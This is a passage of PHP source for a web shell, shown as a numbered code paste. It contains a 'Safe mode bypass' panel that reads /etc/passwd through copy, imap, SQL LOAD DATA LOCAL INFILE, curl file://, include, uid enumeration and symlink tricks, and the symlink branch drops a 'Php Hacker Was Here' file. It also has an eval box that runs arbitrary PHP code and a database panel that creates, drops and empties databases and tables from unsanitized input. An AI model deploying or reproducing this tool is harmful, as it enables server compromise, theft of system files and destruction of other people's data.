  2760.             'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  2761.             "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  2762.             . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  2763.             . "ESCAPED BY          '' "
  2764.             . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  2765.            
  2766.             "SELECT a FROM $tbl LIMIT 1"
  2767.             );
  2768.             mysql_connect ($mhost, $muser, $mpass);
  2769.            
  2770.             foreach ($sql as $statement) {
  2771.                $q = mysql_query ($statement);
  2772.            
  2773.                if ($q == false) die (
  2774.                   "FAILED: " . $statement . "\n" .
  2775.                   "REASON: " . mysql_error () . "\n"
  2776.                );
  2777.            
  2778.                if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  2779.            
  2780.                echo htmlspecialchars($r[0]);
  2781.                mysql_free_result ($q);
  2782.             }
  2783.             echo "</textarea>";
  2784.         }
  2785.         else if(isset($_GET['curl']))
  2786.         {
  2787.             $ch=curl_init("file://" . $_GET[curl]);
  2788.             curl_setopt($ch,CURLOPT_HEADERS,0);
  2789.             curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2790.             $file_out=curl_exec($ch);
  2791.             curl_close($ch);
  2792.             echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
  2793.         }
  2794.         else if(isset($_GET['include']))
  2795.         {
  2796.             if(file_exists($_GET['include']))
  2797.             {
  2798.                 echo "<textarea cols=120 rows=20 class=box readonly>";
  2799.                 @include($_GET['include']);
  2800.                 echo "</textarea>";
  2801.             }
  2802.             else
  2803.                 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
  2804.         }
  2805.         else if(isset($_GET['id']))
  2806.         {
  2807.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2808.             for($uid=0;$uid<60000;$uid++)
  2809.             {   //cat /etc/passwd
  2810.                 $ara = posix_getpwuid($uid);
  2811.                 if (!empty($ara))
  2812.                 {
  2813.                     while (list ($key, $val) = each($ara))
  2814.                     {
  2815.                         print "$val:";
  2816.                     }
  2817.                     print "\n";
  2818.                 }
  2819.             }
  2820.             echo "</textarea>";
  2821.             break;
  2822.         }
  2823.         else if(isset($_GET['tempname']))
  2824.         {
  2825.             tempnam("/home/" . $_GET['tempname']);
  2826.         }
  2827.         else if(isset($_GET['sym']))
  2828.         {
  2829.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2830.             $fp = fopen("hack15.txt","w+");
  2831.             fwrite($fp,"Php Hacker Was Here");
  2832.             @unlink($flib);
  2833.             $sym = "/home/" . $them . "/public_html/" . $k;
  2834.             $link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
  2835.             @symlink($sym, $link);
  2836.             if ($k{0} == "/")
  2837.             {
  2838.                 echo "<script> window.location = '" . $flib . "'</script>";
  2839.             }
  2840.             else
  2841.             {
  2842.                 echo "<pre><xmp>";
  2843.                 echo readlink($flib) . "\n";
  2844.                 echo "Filesize: " . linkinfo($flib) . "B\n\n";
  2845.                 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
  2846.                 echo "</textarea>";
  2847.             }
  2848.         }
  2849.         else
  2850.         {
  2851.             ?>
  2852.            
  2853.             <table cellpadding="7" align="center" border="3" style="width:70%;" class="pwdtbl">
  2854.                 <tr>
  2855.                     <td align="center" colspan="2"><font size="4">Safe mode bypass</font></td>
  2856.                 </tr>
  2857.                 <tr>
  2858.                     <td align="center">
  2859.                         <p>Using copy() function</p>
  2860.                         <form action="<?php echo $self; ?>" method="get">
  2861.                         <input type="hidden" name="bypass">
  2862.                         <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2863.                         </form>
  2864.                     </td>
  2865.                     <td align="center">
  2866.                         <p>Using imap() function</p>
  2867.                         <form action="<?php echo $self; ?>" method="get">
  2868.                         <input type="hidden" name="bypass">
  2869.                         <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2870.                         </form>
  2871.                     </td>
  2872.                 </tr>
  2873.                        
  2874.                 <tr>
  2875.                     <td align="center">
  2876.                         <p>Using sql() function</p>
  2877.                         <form action="<?php echo $self; ?>" method="get">
  2878.                         <input type="hidden" name="bypass">
  2879.                         <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2880.                         </form>
  2881.                     </td>
  2882.                     <td align="center">
  2883.                         <p>Using Curl() function</p>
  2884.                         <form action="<?php echo $self; ?>" method="get">
  2885.                         <input type="hidden" name="bypass">
  2886.                         <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2887.                         </form>
  2888.                     </td>
  2889.                 </tr>
  2890.                        
  2891.                 <tr>
  2892.                     <td align="center">
  2893.                         <p>Bypass using include()</p>
  2894.                         <form action="<?php echo $self; ?>" method="get">
  2895.                         <input type="hidden" name="bypass">
  2896.                         <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2897.                         </form>
  2898.                     </td>
  2899.                     <td align="center">
  2900.                         <p>Using id() function</p>
  2901.                         <form action="<?php echo $self; ?>" method="get">
  2902.                         <input type="hidden" name="bypass">
  2903.                         <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2904.                         </form>
  2905.                     </td>
  2906.                 </tr>
  2907.                            
  2908.                 <tr>
  2909.                     <td align="center">
  2910.                         <p>Using tempnam() function</p>
  2911.                         <form action="<?php echo $self; ?>" method="get">
  2912.                         <input type="hidden" name="bypass">
  2913.                         <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2914.                         </form>
  2915.                     </td>
  2916.                     <td align="center">
  2917.                         <p>Using symlink() function</p>
  2918.                         <form action="<?php echo $self; ?>" method="get">
  2919.                         <input type="hidden" name="bypass">
  2920.                         <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2921.                         </form>
  2922.                     </td>
  2923.                 </tr>
  2924.             </table>
  2925.             </form>
  2926.             <?php
  2927.         }
  2928.     }
  2929.     else if (isset($_GET["phpc"]))
  2930.     {
  2931.         // If the comand was sent
  2932.         if(isset($_POST['code'])&& $_POST['code'] && isset($_POST['intext'])&& $_POST['intext'] == "disp")
  2933.         {
  2934.             // FIlter Some Chars we dont need
  2935.             ?><br>
  2936.             <textarea name="code" class="box" cols="120" rows="10"><?php
  2937.             $code = str_replace("<?php","",$_POST['code']);
  2938.             $code = str_replace("<?","",$code);
  2939.             $code = str_replace("?>","",$code);
  2940.    
  2941.             // Evaluate PHP CoDE!
  2942.             htmlspecialchars(eval($code));
  2943.             ?>
  2944.             </textarea><?php
  2945.         }
  2946.         else if(isset($_POST['code'])&& $_POST['code'] && !isset($_POST['intext']))
  2947.         {
  2948.             $code = str_replace("<?php","",$_POST['code']);
  2949.             $code = str_replace("<?","",$code);
  2950.             $code = str_replace("?>","",$code);
  2951.    
  2952.             // Evaluate PHP CoDE!
  2953.             ?><br><font size="4">Result of execution this PHP-code :</font><br><font class="txt" size="3"><?php htmlspecialchars(eval($code)); ?></font><?php
  2954.         }
  2955.       ?>
  2956.     <form method="POST">
  2957.     <textarea name="code" class="box" cols="120" rows="10"><?php if(isset($_POST['code'])) { echo $_POST['code']; } else { ?>phpinfo();<?php } ?></textarea>
  2958.     <br /><br />
  2959.     <input name="submit" value="Execute This COde! " class="but" type="submit" />
  2960.     <input type="checkbox" name="intext" value="disp"> <font class="txt" size="3">Display in Textarea</font>
  2961.     </form>
  2962.     <?php
  2963.     }
  2964.    
  2965.  
  2966. else if(isset($_GET['database']))
  2967. { ?>
  2968.     <form action=<?php echo $self; ?> method="POST">
  2969.     <table style="width:90%;" cellpadding="4" align="center">
  2970.     <tr>
  2971.         <td colspan="2">Connect To Database</td>
  2972.     </tr>
  2973.     <tr>
  2974.         <td>Server Address :</td>
  2975.         <td><input type="text" class="box" name="server" value="localhost"></td>
  2976.         <!--<td rowspan="4"><textarea name="query" cols="60" rows="7" class="box">SHOW DATABASE</textarea>-->
  2977.     </tr>
  2978.     <tr>
  2979.         <td>Username :</td>
  2980.         <td><input type="text" class="box" name="username" value="root"></td>
  2981.     </tr>
  2982.     <tr>
  2983.         <td>Password:</td>
  2984.         <td><input type="text" class="box" name="password" value=""></td>
  2985.     </tr>
  2986.    
  2987.     <tr>
  2988.         <td></td>
  2989.         <td><input type="submit" value="  Connect  " name="executeit" class="but"></td>
  2990.     </tr>
  2991.     </table>
  2992.     </form>
  2993. <?php
  2994. }
  2995. // Execute Query
  2996.     else if(isset($_POST["executeit"]))
  2997.     {
  2998.         if(isset($_POST['username'])  && isset($_POST['server']))
  2999.         {
  3000.             $dbserver = $_POST['server'];
  3001.             $dbuser = $_POST['username'];
  3002.             $dbpass = $_POST['password'];
  3003.            
  3004.             setcookie("dbserver", $dbserver);          
  3005.             setcookie("dbuser", $dbuser);
  3006.             setcookie("dbpass", $dbpass);
  3007.             header("Location:$self?data");                     
  3008.                
  3009.         }
  3010.     }
  3011.     else if(isset($_GET['data']))
  3012.     {
  3013.         listdatabase();
  3014.     }
  3015.     else if(isset($_GET['viewdb']))
  3016.     {
  3017.         listdatabase();
  3018.     }
  3019.    
  3020.     else if(isset($_GET['action']) && isset($_GET['dbname']))
  3021.     {
  3022.         if($_GET['action'] == "createDB")
  3023.         {
  3024.             $dbname = $_GET['dbname'];
  3025.             $dbserver = $_COOKIE["dbserver"];
  3026.             $dbuser = $_COOKIE["dbuser"];
  3027.             $dbpass = $_COOKIE["dbpass"];
  3028.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  3029.             mysql_query("create database $dbname",$mysqlHandle);
  3030.             listdatabase();
  3031.         }
  3032.         if($_GET['action'] == 'dropDB')
  3033.         {
  3034.             $dbname = $_GET['dbname'];
  3035.             $dbserver = $_COOKIE["dbserver"];
  3036.             $dbuser = $_COOKIE["dbuser"];
  3037.             $dbpass = $_COOKIE["dbpass"];
  3038.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  3039.             mysql_query("drop database $dbname",$mysqlHandle);
  3040.             mysql_close($mysqlHandle);
  3041.             listdatabase();
  3042.         }
  3043.         if($_GET['action'] == 'listTables')
  3044.         {
  3045.             listtable();
  3046.         }
  3047.        
  3048.         // Create Tables
  3049.         if($_GET['action'] == "createtable")
  3050.         {
  3051.             $dbserver = $_COOKIE["dbserver"];
  3052.             $dbuser = $_COOKIE["dbuser"];
  3053.             $dbpass = $_COOKIE["dbpass"];
  3054.             $dbname = $_GET['dbname'];
  3055.             $tablename = $_GET['tablename'];
  3056.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3057.             mysql_select_db($dbname);
  3058.             mysql_query("CREATE TABLE $tablename ( no INT )");
  3059.             listtable();
  3060.         }
  3061.        
  3062.         // Drop Tables
  3063.         if($_GET['action'] == "dropTable")
  3064.         {
  3065.             $dbserver = $_COOKIE["dbserver"];
  3066.             $dbuser = $_COOKIE["dbuser"];
  3067.             $dbpass = $_COOKIE["dbpass"];
  3068.             $dbname = $_GET['dbname'];
  3069.             $tablename = $_GET['tablename'];
  3070.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3071.             mysql_select_db($dbname);
  3072.             mysql_query("drop table $tablename");
  3073.             listtable();
  3074.         }
  3075.        
  3076.         // Empty Tables
  3077.         if($_GET['action'] == "empty")
  3078.         {
  3079.             $dbserver = $_COOKIE["dbserver"];
  3080.             $dbuser = $_COOKIE["dbuser"];
  3081.             $dbpass = $_COOKIE["dbpass"];
  3082.             $dbname = $_GET['dbname'];
  3083.             $tablename = $_GET['tablename'];
  3084.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3085.             mysql_select_db($dbname);
  3086.             mysql_query("delete from $tablename");
  3087.             listtable();
  3088.         }
  3089.        
  3090.         // Empty Tables
  3091.         if($_GET['action'] == "dropField")
  3092.         {
  3093.             $dbserver = $_COOKIE["dbserver"];
  3094.             $dbuser = $_COOKIE["dbuser"];
  3095.             $dbpass = $_COOKIE["dbpass"];
  3096.             $dbname = $_GET['dbname'];
  3097.             $tablename = $_GET['tablename'];
  3098.             $fieldname = $_GET['fieldname'];
  3099.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3100.             mysql_select_db($dbname);
  3101.             $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  3102.             mysql_select_db( $dbname, $mysqlHandle );
  3103.             mysql_query( $queryStr , $mysqlHandle );
  3104.             listtable();
  3105.         }
  3106.        
  3107.         // View Table Schema
  3108.         if($_GET['action'] == "viewSchema")
  3109.         {
  3110.             $dbserver = $_COOKIE["dbserver"];
  3111.             $dbuser = $_COOKIE["dbuser"];
  3112.             $dbpass = $_COOKIE["dbpass"];
  3113.             $dbname = $_GET['dbname'];
  3114.             $tablename = $_GET['tablename'];
  3115.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3116.             mysql_select_db($dbname);
  3117.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3118.             $pResult = mysql_query( "SHOW fields FROM $tablename" );
  3119.             $num = mysql_num_rows( $pResult );
  3120.             echo "<br><br><table align=center class=pwdtbl style='width:80%;' border=1>";
  3121.             echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
  3122.             for( $i = 0; $i < $num; $i++ )
  3123.             {
  3124.                 $field = mysql_fetch_array( $pResult );
  3125.                 echo "<tr>\n";
  3126.                 echo "<td>".$field["Field"]."</td>\n";
  3127.                 echo "<td>".$field["Type"]."</td>\n";
  3128.                 echo "<td>".$field["Null"]."</td>\n";
  3129.                 echo "<td>".$field["Key"]."</td>\n";
  3130.                 echo "<td>".$field["Default"]."</td>\n";
  3131.                 echo "<td>".$field["Extra"]."</td>\n";
  3132.                 $fieldname = $field["Field"];
  3133.                 echo "<td><a href='$self?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  3134.                 echo "</tr>\n";
  3135.             }
  3136.             echo "</table>";
  3137.             echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";
  3138.         }
  3139.        
  3140.         // Execute Query
  3141.         if($_GET['action'] == "executequery")
  3142.         {
  3143.             $dbserver = $_COOKIE["dbserver"];
  3144.             $dbuser = $_COOKIE["dbuser"];
  3145.             $dbpass = $_COOKIE["dbpass"];
  3146.             $dbname = $_GET['dbname'];
  3147.             $tablename = $_GET['tablename'];
  3148.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3149.             mysql_select_db($dbname);
  3150.             $result = mysql_query($_GET['executemyquery']);
  3151.            
  3152.             //  results
  3153.             echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
  3154.              
  3155.             $count = 0;
  3156.             while ($row = mysql_fetch_assoc($result))
  3157.             {
  3158.                echo "<tr>\r\n";
  3159.              
  3160.                if ($count==0) // list column names
  3161.                {
  3162.                   echo "<tr>\r\n";
  3163.                   while($key = key($row))
  3164.                   {
  3165.                      echo "<td><b>" . $key . "</b></td>\r\n";
  3166.                      next($row);
  3167.                   }
  3168.                   echo "</tr>\r\n";
  3169.                }
  3170.              
  3171.                foreach($row as $r) // list content of column names
  3172.                {
  3173.                   if ($r=='') $r = '<font class=txt>NULL</font>';
  3174.                   echo "<td>" . $r . "</td>\r\n";
  3175.                }
  3176.                echo "</tr>\r\n";
  3177.                $count++;
  3178.             }
  3179.             echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
  3180.             echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  3181.         }
  3182.        
  3183.         // View Table Data
  3184.         if($_GET['action'] == "viewdata")
  3185.         {
  3186.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  3187.             $dbserver = $_COOKIE["dbserver"];
  3188.             $dbuser = $_COOKIE["dbuser"];
  3189.             $dbpass = $_COOKIE["dbpass"];
  3190.             $dbname = $_GET['dbname'];
  3191.             $tablename = $_GET['tablename'];
  3192.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3193.             ?>
  3194.             <br><br>
  3195.             <form>
  3196.             <input type="hidden" value="<?php echo $_GET['dbname']; ?>" name="dbname">
  3197.             <input type="hidden" value="<?php echo $_GET['tablename']; ?>" name="tablename">
  3198.             <input type="hidden" value="executequery" name="action">
  3199.             <table>
  3200.                 <tr>
  3201.                     <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  3202.                 </tr>
  3203.                 <tr>
  3204.                     <td><input type="submit" value="Execute" class="but"></td>
  3205.                 </tr>
  3206.             </table>
  3207.             </form>
  3208.             <?php
  3209.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3210.             mysql_select_db($dbname);
  3211.            
  3212.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3213.             $row = mysql_fetch_array($sql);
  3214.             $rowid = $row['COLUMN_NAME'];
  3215.            
  3216.             echo "<br><font size=4>Data in Table</font><br>";
  3217.             if( $tablename != "" )
  3218.                 echo "<font size=3 class=txt>$dbname &gt; $tablename</font><br>";
  3219.             else
  3220.                 echo "<font size=3 class=txt>$dbname</font><br>";
  3221.            
  3222.             $queryStr = "";
  3223.             $pag = 0;
  3224.             $queryStr = stripslashes( $queryStr );
  3225.             if( $queryStr == "" )
  3226.             {
  3227.                 if(isset($_REQUEST['page']))
  3228.                 {
  3229.                     $res = mysql_query("select * from $tablename");
  3230.                     $getres = mysql_num_rows($res);
  3231.                     $coun = ceil($getres/30);
  3232.                     if($_REQUEST['page'] != 1)
  3233.                         $pag = $_REQUEST['page'] * 30;
  3234.                     else
  3235.                         $pag = $_REQUEST['page'] * 30;
  3236.                    
  3237.                     $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
  3238.                     $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
  3239.                     $arrcount = 1;
  3240.                     $arrdata[$arrcount] = 0;
  3241.                     while($row = mysql_fetch_array($sql))
  3242.                     {
  3243.                         $arrdata[$arrcount] = $row[$rowid];
  3244.                         $arrcount++;
  3245.                     }
  3246.                 }
  3247.                 else
  3248.                 {
  3249.                     $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
  3250.                     $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
  3251.                     $arrcount = 1;
  3252.                     $arrdata[$arrcount] = 0;
  3253.                     while($row = mysql_fetch_array($sql))
  3254.                     {
  3255.                         $arrdata[$arrcount] = $row[$rowid];
  3256.                         $arrcount++;
  3257.                     }
  3258.                 }
  3259.                 if( $orderby != "" )
  3260.                     $queryStr .= " ORDER BY $orderby";
  3261.                 echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'><font size=3>Schema</font></a>\n";
  3262.             }
  3263.        
  3264.             $pResult = mysql_query($queryStr );
  3265.             $fieldt = mysql_fetch_field($pResult);
  3266.             $tablename = $fieldt->table;
  3267.             $errMsg = mysql_error();
  3268.        
  3269.             $GLOBALS[queryStr] = $queryStr;
  3270.        
  3271.             if( $pResult == false )
  3272.             {
  3273.                 echoQueryResult();
  3274.                 return;
  3275.             }
  3276.             if( $pResult == 1 )
  3277.             {
  3278.                 $errMsg = "Success";
  3279.                 echoQueryResult();
  3280.                 return;
  3281.             }
  3282.        
  3283.             echo "<hr>\n";
  3284.        
  3285.             $row = mysql_num_rows( $pResult );
  3286.             $col = mysql_num_fields( $pResult );
  3287.        
  3288.             if( $row == 0 )
  3289.             {
  3290.                 echo "<font size=3>No Data Exist!</font>";
  3291.                 return;
  3292.             }
  3293.        
  3294.             if( $rowperpage == "" ) $rowperpage = 30;
  3295.             if( $page == "" ) $page = 0;
  3296.             else $page--;
  3297.             mysql_data_seek( $pResult, $page * $rowperpage );
  3298.        
  3299.             echo "<table cellspacing=1 cellpadding=5 border=1 class=pwdtbl align=center>\n";
  3300.             echo "<tr>\n";
  3301.             for( $i = 0; $i < $col; $i++ )
  3302.             {
  3303.                 $field = mysql_fetch_field( $pResult, $i );
  3304.                 echo "<th>";
  3305.                 if($action == "viewdata")
  3306.                     echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  3307.                 else
  3308.                     echo $field->name."\n";
  3309.                 echo "</th>\n";
  3310.             }
  3311.             echo "<th colspan=2>Action</th>\n";
  3312.             echo "</tr>\n";
  3313.             $num=1;
  3314.            
  3315.            
  3316.             $acount = 1;
  3317.                        
  3318.             for( $i = 0; $i < $rowperpage; $i++ )
  3319.             {
  3320.                 $rowArray = mysql_fetch_row( $pResult );
  3321.                 if( $rowArray == false ) break;
  3322.                 echo "<tr>\n";
  3323.                 $key = "";
  3324.                 for( $j = 0; $j < $col; $j++ )
  3325.                  {
  3326.                     $data = $rowArray[$j];
  3327.        
  3328.                     $field = mysql_fetch_field( $pResult, $j );
  3329.                     if( $field->primary_key == 1 )
  3330.                         $key .= "&" . $field->name . "=" . $data;
  3331.        
  3332.                     if( strlen( $data ) > 30 )
  3333.                         $data = substr( $data, 0, 30 ) . "...";
  3334.                     $data = htmlspecialchars( $data );
  3335.                     echo "<td>\n";
  3336.                     echo "<font class=txt>$data</font>\n";
  3337.                     echo "</td>\n";
  3338.                 }
  3339.            
  3340.                 if(!is_numeric($arrdata[$acount]))
  3341.                 echo "<td colspan=2>No Key</td>\n";
  3342.                 else
  3343.                 {
  3344.                     echo "<td><a href='$PHP_SELF?action=editData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  3345.                     echo "<td><a href='$PHP_SELF?action=deleteData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  3346.                     $acount++;
  3347.                 }
  3348.             }
  3349.             echo "</tr>\n";
  3350.        
  3351.        
  3352.             echo "</table>";
  3353.             if($arrcount > 30)
  3354.             {
  3355.                 $res = mysql_query("select * from $tablename");
  3356.                 $getres = mysql_num_rows($res);
  3357.                 $coun = ceil($getres/30);
  3358.                 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
  3359.                 for($i=0;$i<$coun;$i++)
  3360.                     echo "<option value=$i>$i</option>";
  3361.                
  3362.                 echo "</select> <input type=submit value=Go class=but></form>";
  3363.                 echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3364.             }
  3365.         }
  3366.        
  3367.         // Delete Table Data
  3368.         if($_GET['action'] == "deleteData")
  3369.         {
  3370.             $dbserver = $_COOKIE["dbserver"];
  3371.             $dbuser = $_COOKIE["dbuser"];
  3372.             $dbpass = $_COOKIE["dbpass"];
  3373.             $dbname = $_GET['dbname'];
  3374.             $tablename = $_GET['tablename'];
  3375.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3376.             mysql_select_db($dbname);
  3377.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3378.             $row = mysql_fetch_array($sql);
  3379.             $row = $row['COLUMN_NAME'];
  3380.             $rowid = $_GET[$row];
  3381.             mysql_query("delete from $tablename where $row = '$rowid'");
  3382.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3383.         }
  3384.         // Edit Table Data
  3385.         if($_GET['action'] == "editData")
  3386.         {
  3387.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  3388.             $dbserver = $_COOKIE["dbserver"];
  3389.             $dbuser = $_COOKIE["dbuser"];
  3390.             $dbpass = $_COOKIE["dbpass"];
  3391.             $dbname = $_GET['dbname'];
  3392.             $tablename = $_GET['tablename'];
  3393.             echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  3394.             ?>
  3395.             <br><br>
  3396.             <form action="<?php echo $self; ?>" method="post">
  3397.             <input type="hidden" name="tablename" value="<?php echo $tablename; ?>">
  3398.             <input type="hidden" name="action" value="editsubmitData">
  3399.             <?php
  3400.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3401.             mysql_select_db($dbname);
  3402.            
  3403.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3404.             $row = mysql_fetch_array($sql);
  3405.             $row = $row['COLUMN_NAME'];
  3406.             $rowid = $_GET[$row];
  3407.                        
  3408.             $pResult = mysql_list_fields( $dbname, $tablename );
  3409.             $num = mysql_num_fields( $pResult );
  3410.    
  3411.             $key = "";
  3412.             for( $i = 0; $i < $num; $i++ )
  3413.             {
  3414.                 $field = mysql_fetch_field( $pResult, $i );
  3415.                 if( $field->primary_key == 1 )
  3416.                     if( $field->numeric == 1 )
  3417.                         $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  3418.                     else
  3419.                         $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  3420.             }
  3421.             $key = substr( $key, 0, strlen($key)-4 );
  3422.    
  3423.             mysql_select_db( $dbname, $mysqlHandle );
  3424.             $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
  3425.             $data = mysql_fetch_array( $pResult );
  3426.        
  3427.            
  3428.             echo "<input type=hidden name=dbname value=$dbname>\n";
  3429.             echo "<input type=hidden name=tablename value=$tablename>\n";
  3430.             echo "<input type=hidden name=$row value=$rowid>";
  3431.             echo "<table cellspacing=1 cellpadding=2 border=1>\n";
  3432.             echo "<tr>\n";
  3433.             echo "<th>Name</th>\n";
  3434.             echo "<th>Type</th>\n";
  3435.             echo "<th>Function</th>\n";
  3436.             echo "<th>Data</th>\n";
  3437.             echo "</tr>\n";
  3438.        
  3439.             $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  3440.             $num = mysql_num_rows( $pResult );
  3441.        
  3442.             $pResultLen = mysql_list_fields( $dbname, $tablename );
  3443.        
  3444.             for( $i = 0; $i < $num; $i++ )
  3445.             {
  3446.                 $field = mysql_fetch_array( $pResult );
  3447.                 $fieldname = $field["Field"];
  3448.                 $fieldtype = $field["Type"];
  3449.                 $len = mysql_field_len( $pResultLen, $i );
  3450.        
  3451.                 echo "<tr>";
  3452.                 echo "<td>$fieldname</td>";
  3453.                 echo "<td>".$field["Type"]."</td>";
  3454.                 echo "<td>\n";
  3455.                 echo "<select name=${fieldname}_function class=sbox>\n";
  3456.                 echo "<option>\n";
  3457.                 echo "<option>ASCII\n";
  3458.                 echo "<option>CHAR\n";
  3459.                 echo "<option>SOUNDEX\n";
  3460.                 echo "<option>CURDATE\n";
  3461.                 echo "<option>CURTIME\n";
  3462.                 echo "<option>FROM_DAYS\n";
  3463.                 echo "<option>FROM_UNIXTIME\n";
  3464.                 echo "<option>NOW\n";
  3465.                 echo "<option>PASSWORD\n";
  3466.                 echo "<option>PERIOD_ADD\n";
  3467.                 echo "<option>PERIOD_DIFF\n";
  3468.                 echo "<option>TO_DAYS\n";
